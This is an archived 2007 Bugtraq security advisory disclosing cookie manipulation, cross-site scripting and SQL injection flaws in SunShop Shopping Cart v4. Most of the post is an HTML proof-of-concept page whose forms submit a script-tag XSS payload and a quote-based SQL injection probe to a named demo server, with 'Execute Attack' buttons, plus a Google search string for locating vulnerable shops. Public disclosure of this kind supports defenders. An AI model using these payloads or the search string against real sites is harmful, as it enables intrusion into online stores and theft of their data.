| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20070505201813.9252.qmail@securityfocus.com> Date: 5 May 2007 20:18:13 -0000 From: john@...tinelli.com To: bugtraq@...urityfocus.com Subject: SunShop (v4) Multiple Vulnerabilities <!-- SunShop (v4) Multiple Vulnerabilities Cookie Manipulation Vulnerability ----------------------------------- File: index.php Variable: l (POST) Cross-Site Scripting Vulnerability ------------------------------------ File: index.php Variable: l (POST) SQL Injection Vulnerabilities ----------------------------- File: index.php Variable: c (GET) File: index.php Variables: quantity[x:xx] (POST) Vulnerable: SunShop Shopping Cart v4 Google d0rk: "Powered by SunShop Shopping Cart" John Martinelli john@...tinelli.com http://john-martinelli.com May 5th, 2007 !--> <html> <head><title>SunShop (v4) Multiple Vulnerabilities</title><body> <center><br><br><font size=4>SunShop (v4) Multiple Vulnerabilities</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a><br> <br>Google d0rk: <a href="http://www.google.com/search?q=+%22Powered+by+SunShop+Shopping+Cart%22">"Powered by SunShop Shopping Cart"</a> </font><br> <br><br> <form action="http://demos.turnkeywebtools.com/ss4/index.php" method="post"> <input name="l" size=75 value="<script %0a%0d>alert(1);</script>"> <input name="remove[0]" type="hidden" value="off"> <input name="quantity[0:49]" type="hidden" value="1"> <input name="remove[1]" type="hidden" value="off"> <input name="quantity[1:50]" type="hidden" value="1"> <input name="remove[2]" type="hidden" value="off"> <input name="quantity[2:55]" type="hidden" value="1"> <input name="remove[3]" type="hidden" value="off"> <input name="quantity[3:42]" type="hidden" value="1"> <input name="remove[4]" type="hidden" value="off"> <input name="quantity[4:51]" type="hidden" value="1"> <input name="coupon" type="hidden" value="email@...ress.com"> <input type=submit value="Execute Attack on variable 'l' in index.php" class="button"> </form> <br> <form action="http://demos.turnkeywebtools.com/ss4/index.php" method="post"> <input name="c" size=75 value="'"> <input name="pg" type="hidden" value="1"> <input name="l" type="hidden" value="product_list"> <input type=submit value="Execute SQL Injection on variable 'c' in index.php" class="button"> </form> </body></html>
Powered by blists - more mailing lists